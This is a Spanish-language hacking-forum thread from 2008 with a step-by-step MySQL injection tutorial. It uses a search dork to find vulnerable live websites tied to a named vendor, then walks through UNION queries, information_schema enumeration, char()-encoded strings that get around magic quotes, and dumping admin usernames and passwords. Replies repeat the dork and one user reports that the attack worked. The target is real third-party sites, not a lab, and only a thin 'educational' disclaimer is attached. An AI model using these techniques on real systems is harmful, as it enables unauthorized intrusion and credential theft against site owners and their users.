Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 07, 2009, 05:13:01
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u uNSeCure)  |  Tema: MySql Injection... 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: MySql Injection...  (Leído 509 veces)
y0u uNSeCure
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3939



Ver Perfil Email
« en: Agosto 05, 2008, 07:44:49 »

Bueno, aqui me lanzo con mi primer articulo sobre inyeccion sql, en el cual abordare desde el testeo de la vulnerabilidad hasta la obtencion de toda la informacion de la base de datos, tambien mostrare los errores comunes y como solucionarlos para obtener el resultado esperado.

Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.


====================================================
Google Dork : inurl:".php?id=" Powered by
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.dowgroup.com

====================================================

Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de

este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este

ejemplo utilizaremos:


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion


vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde...


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion'

y nos da algo como...
   
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10

Entonces estamos ok.

Comenzamos con lo tipico...ver el numero de columnas..


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion error...

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion error...

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion error...

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas...


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:

concat_ws(char(58),version(),user(),database(),now())

concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(Smiley o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos...

version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.

La salida a esta consulta deberia verse como esta:

5.0.45-community:dummy_user1   @r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30

Seguimos... ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de

los campos...


Manos a la obra se viene lo mas duro...

Obtencion de nombre de tablas:

Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera...



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Analizemos:


donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:

+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema='vuln_db1'  que es la base de datos
+limit+0,1-- que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas...

Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA...lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:

vuln_db1 = char(118,117,108,110,95,100,98,49)

Reemplace en la consulta anterior por lo que me quedo asi:



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+limit+0,1--


y bueno la respuesta es:

admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+limit+1,1--

division



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+limit+2,1--

dynamic_pages


y asi hasta que NO nos entregue mas datos.

Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.

La consulta nos quedaria mas menos asi:




Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+and+table_name=char(97,100,109,105,110)+limit+0,1--


que cambio con respecto a la consulta anterior??

que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas

el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados...


Que salida nos da:

admin_id (primera columna de tabla admin)

luego modificamos el limit



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+and+table_name=char(97,100,109,105,110)+limit+1,1--

user_name



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+and+table_name=char(97,100,109,105,110)+limit+2,1--

Password (esto se va poniendo interesante jejeje)



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion)

+and+table_name=char(97,100,109,105,110)+limit+3,1--


email

y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es

igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.

Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email...



Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion


y nos dara como resultado...


1:admin_vuln:yeyea:root   @vuln.site

Y vuala asi es como se realiza una injeccion sql.

Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me

hago responsable del daño que puedan causar con esta informacion.








saludos
« Última modificación: ſeptiembre 09, 2008, 07:22:50 por e0f-R00t. » En línea

"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas." Albert Einstein

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Normas del Foro

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
F. A. Q. Bugs y Exploits

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Leer antes de Trabajar con Troyanos

y0u uNSeCure
aleqiu
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1057


Rango = Lammer = novato = newbies = hack = hackExp


Ver Perfil
« Respuesta #1 en: Agosto 05, 2008, 09:34:34 »

Buen Aporte con Sql Injection muy bueno




saludos
« Última modificación: ſeptiembre 19, 2008, 11:25:18 por CiberTron » En línea
Darvein
Recien Llegado
*
Desconectado Desconectado

Mensajes: 16


Ver Perfil WWW Email
« Respuesta #2 en: ſeptiembre 19, 2008, 10:16:23 »

Si!! aprender sqli con ese bug es muy fácil =)

De hecho el post de P47r1ck fue el siguiente:
Cita de: Powered by
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.dowgroup.com
- SQL INJECTION
====================================================
Google Dork : inurl:".php?id=" Powered by
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.dowgroup.com

====================================================

Injection can be made on any page , you just need to find the right ORDER BY.

More common order by were : +7 , +6, +5 .

Now you can inject the site Wink

Heheh
En línea

[~]
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
CLUB HACKER.org
-hacking-
[~]
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
DENNIS RUIZ.net
-Mi web-
CyberKenpachi
Miembro
*****
Desconectado Desconectado

Mensajes: 32



Ver Perfil Email
« Respuesta #3 en: Diciembre 19, 2008, 02:48:16 »

uffff lo maximo a que buen tutorial xD me fue de maravilla si me funciono tal cual px ^^
En línea

Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u uNSeCure)  |  Tema: MySql Injection... « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC